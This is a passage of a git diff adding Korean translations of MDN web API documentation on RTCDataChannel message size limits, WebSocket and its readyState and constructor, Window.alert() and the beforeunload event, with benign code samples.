+<p>createDataChannel()를 통해 RTCDataChannel 객체가 즉시 반환됩니다. 그후 {{domxref("RTCDataChannel.open_event", "open")}}의 이벤트가 RTCDataChannel로 송신되는 것을 확인한다면 성공적으로 연결되었다고 말할 수 있습니다. </p>
+
+<pre>let dataChannel = pc.createDataChannel("MyApp Channel");
+
+dataChannel.addEventListener("open", (event) =&gt; {
+ beginTransmission(dataChannel);
+});</pre>
+
+<h3 id="수동_협상Manual_negotiation">수동 협상(Manual negotiation)</h3>
+
+<p>Data channel의 수동협상을 위해서 우선 {{domxref("RTCPeerConnection")}}에 있는  {{domxref("RTCPeerConnection.createDataChannel", "createDataChannel()")}} 매소드를 사용하여 {{domxref("RTCDataChannel")}} 객체를 생성해야 합니다. 이때 {{domxref("RTCDataChannelInit.negotiated", "negotiated")}} 프로퍼티의 값을 true로 설정해야 합니다. 이 피어 연결을 위한 신호들은 설정하는 측의 피어 연결 협상을 시도하지 않도록 합니다.</p>
+
+<p>대역외의 연결 협상은 웹서버나 다른 방법을 이용해야 합니다. 이 절차들은 수동으로 RTCDataChannel을 원격 피어에게 신호를 보내야 하며 동일한 {{domxref("RTCDataChannel.id", "id")}}를 사용해야 하고 negotiated 프로퍼티는 true로 설정해야합니다. 이 설정들은  RTCPeerConnection를 이용해 두 오브젝트가 연결되게 합니다.</p>
+
+<pre>let dataChannel = pc.createDataChannel("MyApp Channel", {
+ negotiated: true
+});
+
+dataChannel.addEventListener("open", (event) =&gt; {
+ beginTransmission(dataChannel);
+});
+
+requestRemoteChannel(dataChannel.id);</pre>
+
+<p>위의 코드에서는 채널 생성시 negotiated 프로퍼티를 true로 설정해주었고 requestRemoteChannel()을 호출함으로 원격 채널과 동일한 로컬 채널 ID를 만들기 위한 협상(negotiation)을 발동시켰습니다.</p>
+
+<p>이 절차를 밟으므로서 다른 프로퍼티를 갖는 각각의 피어들이 데이터 채널을 생성하고 같은 id 값을 사용하는 채널을 명확하고 쉽게 생성할수 있습니다.</p>
+
+<h2 id="버퍼링Buffering">버퍼링(Buffering)</h2>
+
+<p>WebRTC 데이터채널은 아웃바운드 데이터에 대해 버퍼링을 제공합니다. 이것은 자동적으로 처리가됩니다. buffer의 사이즈를 컨트롤 할 수 없는 동안 당신은 얼마나 많은 데이터가 현재 버퍼 되어 있는지 배울 수 있고 큐 데이터의 버퍼가 고갈되기 시작할 때 알림을 받도록 선택할 수 도 있습니다. 이것은 메모리 과다사용이나 채널을 완전히 밀어내버리는 것을 없애고 언제나 데이터를 보낼수 있도록 효과적인 루틴을 만들기 쉽게 해줍니다. </p>
+
+<p><strong>&lt;&lt;&lt;write more about using bufferedAmount, bufferedAmountLowThreshold, onbufferedamountlow, and bufferedamountlow here&gt;&gt;&gt;</strong></p>
+
+<p>...</p>
+
+<h2 id="메세지_크기_제한에_대해_이해하기">메세지 크기 제한에 대해 이해하기</h2>
+
+<p>네트워크를 통하여 전송되는 데이터라면 그 데이터는 반드시 사이즈가 제한됩니다. 기초적인 레벨의 이야기를 하자면, 각각의 네트워크 패킷은 어떠한 값보다 클 수 없습니다. (정확한 숫자는 네트워크와 전송 계층이 사용하고 있는 것에 따라 다릅니다.) 어플리케이션 계층에서는 — 즉 당신의 코드가 돌아가고 있는 WebRTC {{Glossary("user agent", "user agent's")}} — WebRTC가 네트워크의 전송계층위의 최대 패킷사이즈보다 메시지가 더 큰지 확인하는 것을 구현할 수 있습니다.</p>
+
+<p>만약 당신이 사이즈 제한 크기가 궁금하지 않다거나 대용량 메세지를 보내거나 받는 것이 필요하지 않다면 이 이야기는 복잡한 이야기가 될 수 있습니다.  Even when user agents share the same underlying library for handling Stream Control Transmission Protocol (SCTP) data, there can still be variations due to how the library is used. 예를들어 Firefox와 구글 크롬은 SCTP를 구현하기 위해 <code><a href="https://github.com/sctplab/usrsctp">usrsctp</a></code> 라이브러리를 사용합니다. 이때 그  두 브라우저가 어떻게 라이브러리에 요청하고 이벤트에 반응하는지에 따라 <code>RTCDataChannel</code> 을 이용한 데이터 전송이 실패하는 경우가 있습니다.</p>
+
+<p>두 유저가 파이어폭스에 있는 데이터채널을 사용하여 통실할 때 메세지 사이즈의 제한은 파이어폭스와 크롬을 각각 사용할 때보다 큽니다. 왜냐하면 파이어폭스의 구현 방법은 현재 다중 SCTP메세지를 전송하는 기술을 deprecated하여 놓았습니다. 하지만 크롬은 여전히 가능합니다. 크롬은 완성 될것이라 확신하는 메시지 시리즈를 보는 대신 RTCDataChannel을 다중 메시지로서 수신하는 것으로 대채할 것입니다. </p>
+
+<p>메세지가 16kiB 작다면 별다른 무리 없이 보낼 수 있을 것 입니다. 대부분의 메이저 user agents도 동일하게 다룹니다. </p>
+
+<h3 id="대용량_메세지에_대해_고려해보기">대용량 메세지에 대해 고려해보기</h3>
+
+<p><s>현재 메세지 사이즈가 64kiB (16kiB if you want to support cross-browser exchange of data)를 넘는 <code>RTCDataChannel</code> 는 구현되지 않았습니다. 문제는 <code>RTCDataChannel</code>에서 송수신 프로토콜로 사용되는 SCTP가 원래 시그널링 프로토콜로 디자인 되었다는 것 입니다. 그래서 메세지가 상대적으로 작은 사이즈라고 가정하고 만들어진 프로토콜입니다.  Support for messages larger than the network layer's {{interwiki("wikipedia", "Maximum transmission unit", "MTU")}} was added almost as an afterthought, in case signaling messages needed to be larger than the MTU. 이 기능은 각각의 조각에 연속적인 시퀀스 번호를 필요로 합니다. 즉 상호배치를 통해 동시에 여러 데이터를 보낼 수 없고 하나를 보낸 이후 다시 하나를 보내야 합니다.</s></p>
+
+<p><s>이러한 점은 문제가 됩니다.</s>  지금 그리고 이후에도 WebRTC를 구현하고 있는 것들을 포함한 다양한 어플리케이션 들이 더욱더 큰 메시지를 전송하기 위해 SCTP를 사용합니다. 결국에 메시지가 감당할수 없을 만큼 커지게 된다면 정말 중요한 시그널링 메시지를 포함한 데이터 채널에서 전송되는 모든 다른 데이터들이 블락당할수 있다는 것을 알게되었습니다.</p>
+
+<p>이것은 브라우저가 현재의 대용량 메시지를 처리하는 표준인 end-of-record(EOR) 플레그 (메시지가 여러 시리즈에서 마지막일때 하나의 페이로드로서 취급하게하는 플레그)를 제공할때 문제가 됩니다. 이 플레그는 Firefox 57에서는 구현이 되어있습니다. 그러나 Chrome 에서는 아직 구현이 되어있지 않습니다.(<a href="https://bugs.chromium.org/p/webrtc/issues/detail?id=7774">Chromium Bug 7774</a> 참조). EOR를 제공하는 RTCDataChannel 페이로드는 더욱 커질 수 있습니다. (공식적으로 256kiB까지이며 Firfox의 구현으로는 1GiB까지가능). 256kiB에서 조차 긴급한 트래픽을 처리하기에는 유의미한 지연을 야기시키에 충분히 큰 용량입니다. 만약 여기서 더 커진다면 지연은 당신이 특정한 조작을 하더라도 줄일수 없을 것입니다.</p>
+
+<p>이러한 문제점을 해결하기 위해 <strong>스트림 스케쥴러(stream schedulers)</strong>라고하는 이름지어져 있으며 SCTP ndata specification이라고도 불리우는 새로운 시스템을 디자인하였습니다. 이 스케쥴러는 WebRTC 데이터 채널에 구현되어 있는 스트림을 포함한 각기 다른 스트림에 메시지를 상호배치하여 전송가능합니다. 이 <a href="https://tools.ietf.org/html/draft-ietf-tsvwg-sctp-ndata">제안</a>은 IETF 제안(draft form) 상태에 있지만 한번 구현된다면 SCTP 계층은 자동적으로 서브메시지들에게 모든 데이터 채널을 통과할수 있는 기회를 보장하는 상호배치를 하기때문에 기본적으로 사이즈에 제한이 없는 메시지를 보낼수 있게될것입니다.</p>
+
+<p>Firefox는 ndata를 지원하기 위해 현재 구현단계에 있습니다. 일반적인 사용이 언제쯤 가능할지에 대해 궁금하시다면 {{bug(1381145)}} 을 관심있게 보고 계십시요. Chrome 팀은 <a href="https://bugs.chromium.org/p/webrtc/issues/detail?id=5696">Chrome Bug 5696</a> 를 통해 ndata 지원을 위한 구현을 트래킹하고 있습니다.</p>
+
+<div class="originaldocinfo">
+<p>이 섹션에 있는 대부분의 정보는 다음 블로그 포스트를 기반으로 작성되었습니다. <a href="https://lgrahl.de/articles/demystifying-webrtc-dc-size-limit.html">Demystifyijng WebRTC's Data Channel Message Size Limitations</a>, written by Lennart Grahl. 이 블로그를 보시면 더욱 자세한 내용이 나와 있습니다. 그러나 브라우져들은 당시보다 업데이트 되었기때문에 그 정보들은 현재와 맞지 않을 수 도 있습니다. 또한 현재는 시간이 많이 흘러 대부분의 메이저 브라우저에서는 EOR이 구현되어 있습니다.</p>
+</div>
+
+<h2 id="보안Security">보안(Security)</h2>
+
+<p>WebRTC로 전송되는 모든 데이터는 암호화됩니다.  <code>RTCDataChannel</code> 의 암호화는<a href="/en-US/docs/Web/Security/Transport_Layer_Security">Transport Layer Security</a> (TLS)를 바탕으로 하는 Datagram Transport Layer Security (DTLS)를 사용합니다. TLS는 모든 암호화된 HTTPS 통신에 사용되기 때문에 data channel에 사용되는 모든 데이터는 사용자의 브라우저가 데이터를 주고받는 만큼의 보안이 보장됩니다.</p>
+
+<p>조금더 근본적으로 WebRTC는 두 사용자간의 peer-to-peer 연결이기때문에 데이터가 어떠한 다른 웹이나 어플리케이션 서버를 경유하지 않습니다. 이러한 통신방식으로 인해 데이터가 중간에 가로채어질 가능성이 줄어듭니다.</p>
diff --git a/files/ko/web/api/websocket/index.html b/files/ko/web/api/websocket/index.html
new file mode 100644
index 0000000000..59bbb8aac9
--- /dev/null
+++ b/files/ko/web/api/websocket/index.html
@@ -0,0 +1,248 @@
+---
+title: WebSocket
+slug: Web/API/WebSocket
+tags:
+ - API
+translation_of: Web/API/WebSocket
+---
+<div>{{APIRef("Web Sockets API")}}{{SeeCompatTable}}</div>
+
+<p><strong><code>WebSocket</code></strong> 객체는 서버와의 <a href="/en-US/docs/Web/API/WebSockets_API">WebSocket</a> 연결을 생성하고 관리할 수 있는 API 들을 제공합니다. 이는 데이터를 전송하거나 주고 받는 등의 API 들을 포함합니다.</p>
+
+<p><code>WebSocket</code> 생성자는 하나의 필수 파라미터와, 하나의 옵셔널 파라미터를 받습니다:</p>
+
+<pre class="syntaxbox">WebSocket WebSocket(
+ in DOMString url,
+ in optional DOMString protocols
+);
+
+WebSocket WebSocket(
+ in DOMString url,
+ in optional DOMString[] protocols
+);
+</pre>
+
+<dl>
+ <dt><code>url</code></dt>
+ <dd>연결할 URL 주소입니다; 웹소켓 서버가 응답할 수 있는 위치의 주소이여야 합니다.</dd>
+ <dt><code>protocols</code> {{optional_inline}}</dt>
+ <dd>단일 프로토콜 문자열, 또는 프로토콜 문자열의 배열. 이 문자열들은 서브 프로토콜을 지정하는데 사용됩니다. 이를 통해 하나의 웹소켓 서버가 여러개의 웹 소켓 서브 프로토콜을 구현할 수 있도록 해줍니다. (예를 들어, 하나의 서버가 두 개 이상의 커뮤니케이션 방식을 가지고 싶도록 하고 싶을 때). 만약 지정하지 않으면 빈 문자열을 넣은 것으로 간주됩니다.</dd>
+</dl>
+
+<p>이 생성자는 예외가 발생할 수 있습니다:</p>
+
+<dl>
+ <dt><code>SECURITY_ERR</code></dt>
+ <dd>The port to which the connection is being attempted is being blocked.</dd>
+</dl>
+
+<h2 id="메소드_오버뷰">메소드 오버뷰</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <td><code>void <a href="#close()">close</a>(in optional unsigned long code, in optional DOMString reason);</code></td>
+ </tr>
+ <tr>
+ <td><code>void <a href="#send()">send</a>(in DOMString data);</code></td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="어트리뷰트">어트리뷰트</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <td class="header">Attribute</td>
+ <td class="header">Type</td>
+ <td class="header">Description</td>
+ </tr>
+ <tr>
+ <td><code>binaryType</code></td>
+ <td>{{DOMXref("DOMString")}}</td>
+ <td>A string indicating the type of binary data being transmitted by the connection. This should be either "blob" if DOM {{domxref("Blob")}} objects are being used or "arraybuffer" if {{jsxref("ArrayBuffer")}} objects are being used.</td>
+ </tr>
+ <tr>
+ <td><code>bufferedAmount</code></td>
+ <td><code>unsigned long</code></td>
+ <td>The number of bytes of data that have been queued using calls to {{manch("send")}} but not yet transmitted to the network. This value does not reset to zero when the connection is closed; if you keep calling {{manch("send")}}, this will continue to climb. <strong>Read only</strong></td>
+ </tr>
+ <tr>
+ <td><code>extensions</code></td>
+ <td>{{DOMXref("DOMString")}}</td>
+ <td>The extensions selected by the server. This is currently only the empty string or a list of extensions as negotiated by the connection.</td>
+ </tr>
+ <tr>
+ <td><code>onclose</code></td>
+ <td>{{domxref("EventListener")}}</td>
+ <td>WebSocket 인터페이스의 연결상태가 <code>readyState</code> 에서<code>CLOSED</code> 로 바뀌었을 때 호출되는 이벤트 리스너입니다. 이 이벤트 리스너는 "close"라는 이름의 <a href="/en-US/docs/Web/API/CloseEvent"><code>CloseEvent</code></a>를 받습니다.</td>
+ </tr>
+ <tr>
+ <td><code>onerror</code></td>
+ <td>{{domxref("EventListener")}}</td>
+ <td>"error" 라는 이름의 이벤트가 발생하면 처리할 핸들러입니다. 이는 에러가 발생하는 상황에 호출됩니다.</td>
+ </tr>
+ <tr>
+ <td><code>onmessage</code></td>
+ <td>{{domxref("EventListener")}}</td>
+ <td>"message" 이름의 <code><a href="/en-US/docs/Web/API/MessageEvent">MessageEvent</a> </code>이벤트가 발생하면 처리할 핸들러입니다. 이는 서버로부터 메세지가 도착했을 때 호출됩니다.</td>
+ </tr>
+ <tr>
+ <td><code>onopen</code></td>
+ <td>{{domxref("EventListener")}}</td>
+ <td>WebSocket 인터페이스의 연결상태가 <code>readyState</code> 에서 <code>OPEN</code>으로 바뀌었을 때 호출되는 이벤트 리스너입니다. ; 연결 상태가 <code>OPEN</code>으로 바뀌었다는 말은 데이터를 주고 받을 준비가 되었다는 뜻입니다. 이 리스너가 처리하는 이벤트는 "open"이라는 이벤트 하나입니다.</td>
+ </tr>
+ <tr>
+ <td><code>protocol</code></td>
+ <td>{{DOMXref("DOMString")}}</td>
+ <td>서버에 의해 선택된 서브 프로토콜을 가리킵니다; 이 값은 객체를 생성하면서 <code>protocols</code> 파라미터에 전달했던 값 들 중 하나입니다.</td>
+ </tr>
+ <tr>
+ <td><code>readyState</code></td>
+ <td><code>unsigned short</code></td>
+ <td>연결의 현재 상태입니다; 값은 {{anch("Ready state constants")}} 중에 하나입니다. <strong>읽기 전용.</strong></td>
+ </tr>
+ <tr>
+ <td><code>url</code></td>
+ <td>{{DOMXref("DOMString")}}</td>
+ <td>생성자에 의해 해석된 URL입니다. 이는 항상 절대 주소를 가리킵니다. <strong>읽기 전용.</strong></td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="상수">상수</h2>
+
+<h3 id="Ready_state_constants">Ready state constants</h3>
+
+<p>아래의 값들은 <code>readyState</code> 어트리뷰트가 웹소켓의 연결 상태를 나타내기 위해서 사용됩니다.</p>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <td class="header">Constant</td>
+ <td class="header">Value</td>
+ <td class="header">Description</td>
+ </tr>
+ <tr>
+ <td><code>CONNECTING</code></td>
+ <td><code>0</code></td>
+ <td>연결이 수립되지 않은 상태입니다.</td>
+ </tr>
+ <tr>
+ <td><code>OPEN</code></td>
+ <td><code>1</code></td>
+ <td>연결이 수립되어 데이터가 오고갈 수 있는 상태입니다.</td>
+ </tr>
+ <tr>
+ <td><code>CLOSING</code></td>
+ <td><code>2</code></td>
+ <td>연결이 닫히는 중 입니다.</td>
+ </tr>
+ <tr>
+ <td><code>CLOSED</code></td>
+ <td><code>3</code></td>
+ <td>연결이 종료되었거나, 연결에 실패한 경우입니다.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="메소드">메소드</h2>
+
+<h3 id="close()">close()</h3>
+
+<p>맺어진 연결, 또는 연결 시도를 종료합니다. 이미 종료된 경우에는 아무 동작도 하지 않습니다.</p>
+
+<pre class="syntaxbox">void close(
+ in optional unsigned short code,
+ in optional DOMString reason
+);
+</pre>
+
+<h4 id="Parameters">Parameters</h4>
+
+<dl>
+ <dt><code>code</code> {{optional_inline}}</dt>
+ <dd>연결이 종료되는 이유를 가리키는 숫자 값입니다. 지정되지 않을 경우 기본값은 1000으로 간주됩니다. (일반적인 경우의 "transaction complete" 종료를 나타내는 값).  허용되는 값들은 <code><a href="/en-US/docs/Web/API/CloseEvent">CloseEvent</a></code> 페이지의  <a href="/en-US/docs/Web/API/CloseEvent#Status_codes">list of status codes</a> 를 참고하세요.</dd>
+ <dt><code>reason</code> {{optional_inline}}</dt>
+ <dd>연결이 왜 종료되는지를 사람이 읽을 수 있도록 나타내는 문자열입니다. 이 문자열은 UTF-8 포멧이며, 123 바이트를 넘을 수 없습니다. (<strong>글자 수 아님</strong>).</dd>
+</dl>
+
+<h4 id="Exceptions_thrown">Exceptions thrown</h4>
+
+<dl>
+ <dt><code>INVALID_ACCESS_ERR</code></dt>
+ <dd>잘못된 <code>code</code> 값을 지정했습니다.</dd>
+ <dt><code>SYNTAX_ERR</code></dt>
+ <dd><code>reason</code> 값이 너무 길거나, 짝을 이루지 못하는 서로게이트 문자가 있습니다.</dd>
+</dl>
+
+<div class="note">
+<p><strong>Note:</strong> In Gecko, this method didn't support any parameters prior to Gecko 8.0 {{geckoRelease("8.0")}}.</p>
+</div>
+
+<h3 id="send()">send()</h3>
+
+<p>웹소켓 연결을 통해 데이터를 서버로 전송합니다.</p>
+
+<pre class="syntaxbox">void send(
+ in DOMString data
+);
+
+void send(
+ in ArrayBuffer data
+);
+
+void send(
+ in Blob data
+);
+</pre>
+
+<h4 id="Parameters_2">Parameters</h4>
+
+<dl>
+ <dt><code>data</code></dt>
+ <dd>서버로 전송할 텍스트 메세지입니다.</dd>
+</dl>
+
+<h4 id="Exceptions_thrown_2">Exceptions thrown</h4>
+
+<dl>
+ <dt><code>INVALID_STATE_ERR</code></dt>
+ <dd>연결이 현재 <code>OPEN </code>상태가 아닙니다.</dd>
+ <dt><code>SYNTAX_ERR</code></dt>
+ <dd>data 값에 짝을 이루지 못하는 서로게이트 문자가 있습니다.</dd>
+</dl>
+
+<div class="note">
+<p><strong>Note:</strong> Gecko's implementation of the <code>send()</code> method differs somewhat from the specification in {{Gecko("6.0")}}; Gecko returns a <code>boolean</code> indicating whether or not the connection is still open (and, by extension, that the data was successfully queued or transmitted); this is corrected in {{Gecko("8.0")}}.</p>
+
+<p>As of {{Gecko("11.0")}}, support for {{jsxref("ArrayBuffer")}} is implemented but not {{domxref("Blob")}} data types.</p>
+</div>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th>Specification</th>
+ <th>Status</th>
+ <th>Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName("Websockets", "#the-websocket-interface", "WebSocket")}}</td>
+ <td>{{Spec2("Websockets")}}</td>
+ <td>Initial definition</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<div>{{Compat("api.WebSocket")}}</div>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><a href="/ko/docs/Web/API/WebSockets_API/Writing_WebSocket_client_applications">Writing WebSocket client applications</a></li>
+</ul>
diff --git a/files/ko/web/api/websocket/readystate/index.html b/files/ko/web/api/websocket/readystate/index.html
new file mode 100644
index 0000000000..c11bd76867
--- /dev/null
+++ b/files/ko/web/api/websocket/readystate/index.html
@@ -0,0 +1,71 @@
+---
+title: WebSocket.readyState
+slug: Web/API/WebSocket/readyState
+translation_of: Web/API/WebSocket/readyState
+---
+<p>{{APIRef("Web Sockets API")}}</p>
+
+<p><strong><code>WebSocket.readyState</code></strong> 읽기 전용 속성은 {{domxref("WebSocket")}} 연결의 현재 상태를 반환한다.</p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox">var readyState = <em>aWebSocket</em>.readyState;</pre>
+
+<h2 id="Value">Value</h2>
+
+<p>아래의 <code>unsigned short</code> 값들 중 하나 :</p>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <td class="header">Value</td>
+ <td class="header">State</td>
+ <td class="header">Description</td>
+ </tr>
+ <tr>
+ <td><code>0</code></td>
+ <td><code>CONNECTING</code></td>
+ <td>소켓이 생성되었다. 연결이 아직 열려 있지 않다.</td>
+ </tr>
+ <tr>
+ <td><code>1</code></td>
+ <td><code>OPEN</code></td>
+ <td>연결이 열려 있고, 통신할 준비가 되었다.</td>
+ </tr>
+ <tr>
+ <td><code>2</code></td>
+ <td><code>CLOSING</code></td>
+ <td>연결이 닫히는 중이다.</td>
+ </tr>
+ <tr>
+ <td><code>3</code></td>
+ <td><code>CLOSED</code></td>
+ <td>연결이 닫혔거나 열 수 없었다.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('HTML WHATWG', '#dom-websocket-readystate', 'WebSocket: readyState')}}</td>
+ <td>{{Spec2('HTML WHATWG')}}</td>
+ <td>Initial definition</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("api.WebSocket.readyState")}}</p>
diff --git a/files/ko/web/api/websocket/websocket/index.html b/files/ko/web/api/websocket/websocket/index.html
new file mode 100644
index 0000000000..93951cf658
--- /dev/null
+++ b/files/ko/web/api/websocket/websocket/index.html
@@ -0,0 +1,51 @@
+---
+title: WebSocket()
+slug: Web/API/WebSocket/WebSocket
+translation_of: Web/API/WebSocket/WebSocket
+---
+<p>{{APIRef("Web Sockets API")}}</p>
+
+<p><code><strong>WebSocket()</strong></code> 생성자는 새로운 {{domxref("WebSocket")}} 객체를 반환한다.</p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox">var ws = new WebSocket("ws://localhost:8080");</pre>
+
+<h3 id="Parameters">Parameters</h3>
+
+<dl>
+ <dt><code>url</code></dt>
+ <dd>연결할 곳의 URL; 웹소켓 서버가 응답할 수 있는 URL 값을 지정해줘야 한다.</dd>
+ <dt><code>protocols</code> {{optional_inline}}</dt>
+ <dd>단일 혹은 여러개의 프로토콜 배열. 이 문자열들은 서브 프로토콜들을 가리킨다. 따라서 하나의 서버는 여러개의 서브 프로토콜을 구현할 수 있다. (예를 들면, 한 개의 서버에서 <code>protocol</code>에 따라 다양한 상호 작용 방식을 사용하기를 바랄 수 있다) . 만약 프로토콜을 지정해주지 않으면, 비어 있다고 간주한다.</dd>
+</dl>
+
+<h3 id="Exceptions_thrown">Exceptions thrown</h3>
+
+<dl>
+ <dt><code>SECURITY_ERR</code></dt>
+ <dd>연결을 시도하는 포트가 닫혀 있을 때 발생한다.</dd>
+</dl>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML WHATWG', '#dom-websocket', 'the WebSocket constructor')}}</td>
+ <td>{{Spec2('HTML WHATWG')}}</td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("api.WebSocket.WebSocket")}}</p>
diff --git a/files/ko/web/api/window/alert/index.html b/files/ko/web/api/window/alert/index.html
new file mode 100644
index 0000000000..c6037986c3
--- /dev/null
+++ b/files/ko/web/api/window/alert/index.html
@@ -0,0 +1,71 @@
+---
+title: Window.alert()
+slug: Web/API/Window/alert
+tags:
+ - API
+ - HTML DOM
+ - Method
+ - Reference
+ - Window
+translation_of: Web/API/Window/alert
+---
+<p>{{APIRef}}</p>
+
+<p><strong><code>Window.alert()</code></strong> 메서드는 확인 버튼을 가지며 메시지를 지정할 수 있는 경고 대화 상자를 띄웁니다.</p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox notranslate">window.alert([<em>message]</em>);</pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><code>message</code> {{optional_inline}}</dt>
+ <dd>경고 대화 상자에 표시할 텍스트 문자열이거나, 문자열로 변환해 나타낼 객체.</dd>
+</dl>
+
+<h2 id="Example" name="Example">예제</h2>
+
+<pre class="brush: js line-numbers language-js notranslate"><code class="language-js">window<span class="punctuation token">.</span><span class="function token">alert</span><span class="punctuation token">(</span><span class="string token">"Hello world!"</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+<span class="function token">alert</span><span class="punctuation token">(</span><span class="string token">"Hello world!"</span><span class="punctuation token">)</span><span class="punctuation token">;</span></code>
+</pre>
+
+<p>상기 두 코드의 동작은 모두 다음과 같습니다.</p>
+
+<p><img alt="Image:AlertHelloWorld.png" src="/files/130/AlertHelloWorld.png"></p>
+
+<h2 id="참고">참고</h2>
+
+<p>경고 대화 상자는 사용자의 확인을 제외한 다른 입력을 요구하지 않는 메시지를 전달할 때에 쓰여야 합니다.</p>
+
+<p>대화 상자는 모달 창(부모 창으로 돌아가기 전에 사용자의 상호 작용을 요구하는 자식 창)으로, 사용자는 대화 상자가 닫힐 때까지 다른 모든 인터페이스에 접근할 수 없습니다. 따라서 대화 상자(또는 모달 창)를 만드는 함수를 남용하면 안 됩니다.</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML5 Web application', '#dom-alert', 'alert()')}}</td>
+ <td>{{Spec2('HTML5 Web application')}}</td>
+ <td></td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("api.Window.alert")}}</p>
+
+<h2 id="관련_문서">관련 문서</h2>
+
+<ul>
+ <li>{{domxref("window.confirm","confirm")}}</li>
+ <li>{{domxref("window.prompt","prompt")}}</li>
+</ul>
diff --git a/files/ko/web/api/window/beforeunload_event/index.html b/files/ko/web/api/window/beforeunload_event/index.html
new file mode 100644
index 0000000000..216b85ed7a
--- /dev/null
+++ b/files/ko/web/api/window/beforeunload_event/index.html
@@ -0,0 +1,105 @@
+---
+title: 'Window: beforeunload 이벤트'
+slug: Web/API/Window/beforeunload_event
+tags:
+ - Event
+ - Reference
+ - Window
+ - 이벤트
+translation_of: Web/API/Window/beforeunload_event
+---
+<div>{{APIRef}}</div>
+
+<p><span class="seoSummary"><strong><code>beforeunload</code></strong> 이벤트는 문서와 그 리소스가 언로드 되기 직전에 {{domxref("window")}}에서 발생합니다.</span> 이벤트 발생 시점엔 문서를 아직 볼 수 있으며 이벤트도 취소 가능합니다.</p>
+
+<table class="properties">
+ <tbody>
+ <tr>
+ <th scope="row">확산</th>
+ <td>아니오</td>
+ </tr>
+ <tr>
+ <th scope="row">취소 가능</th>
+ <td>예</td>
+ </tr>
+ <tr>
+ <th scope="row">인터페이스</th>
+ <td>{{domxref("Event")}}</td>
+ </tr>
+ <tr>
+ <th scope="row">이벤트 처리기 속성</th>
+ <td>{{domxref("WindowEventHandlers/onbeforeunload", "onbeforeunload")}}</td>
+ </tr>
+ </tbody>
+</table>
+
+<p><code>beforeunload</code> 이벤트를 사용하면 사용자가 페이지를 떠날 때 정말로 떠날 것인지 묻는 확인 대화 상자를 표시할 수 있습니다. 사용자가 확인을 누를 경우 브라우저는 새로운 페이지로 탐색하고, 취소할 경우 탐색을 취소하고 현재 페이지에 머무릅니다.</p>
+
+<p>명세에 따라, 확인 대화 상자를 표시하려면 이벤트의 {{domxref("Event.preventDefault()", "preventDefault()")}}를 호출해야 합니다.</p>
+
+<p>다만, 모든 브라우저가 위의 방법을 지원하는 것은 아니므로 아래의 두 가지 구형 방법을 사용해야 할 수도 있습니다.</p>
+
+<ul>
+ <li>이벤트의 <code>returnValue</code> 속성에 문자열 할당</li>
+ <li>이벤트 처리기에서 문자열 반환</li>
+</ul>
+
+<p>일부 브라우저에서는 확인 대화 상자의 문구를 직접 지정할 수 있었습니다. 그러나 현재 대부분의 브라우저에서는 사용자 지정 문구를 사용하지 않으며 이 동작을 지원하지 않습니다.</p>
+
+<p>원치 않는 팝업을 방지하기 위해, 브라우저는 사용자가 이벤트 발생 전에 현재 페이지와 상호작용을 했을 때만 대화 상자를 표시할 수도 있고, 심지어 아예 표시하지 않을 수도 있습니다.</p>
+
+<p><code>window</code> 또는 <code>document</code>에 <code>beforeunload</code> 이벤트 처리기를 부착하면 페이지가 브라우저의 메모리 내 탐색 캐시에 추가되는 것을 방지합니다.</p>
+
+<p>HTML 명세는 이벤트 처리 중의 {{domxref("window.alert()")}}, {{domxref("window.confirm()")}}, 및 {{domxref("window.prompt()")}} 메서드를 무시할 수 있음을 요구합니다. <a href="https://html.spec.whatwg.org/multipage/timers-and-user-prompts.html#user-prompts">HTML 명세</a>에서 더 자세한 정보를 확인하세요.</p>
+
+<h2 id="예제">예제</h2>
+
+<p>HTML 명세에 따르면 개발 시 {{domxref("Event.returnValue")}} 대신 {{domxref("Event.preventDefault()")}} 메서드를 사용해야 합니다. 그러나 모든 브라우저가 이 방법을 지원하는 것은 아닙니다.</p>
+
+<pre class="brush: js notranslate">window.addEventListener('beforeunload', (event) =&gt; {
+ // 표준에 따라 기본 동작 방지
+ event.preventDefault();
+ // Chrome에서는 returnValue 설정이 필요함
+ event.returnValue = '';
+});
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
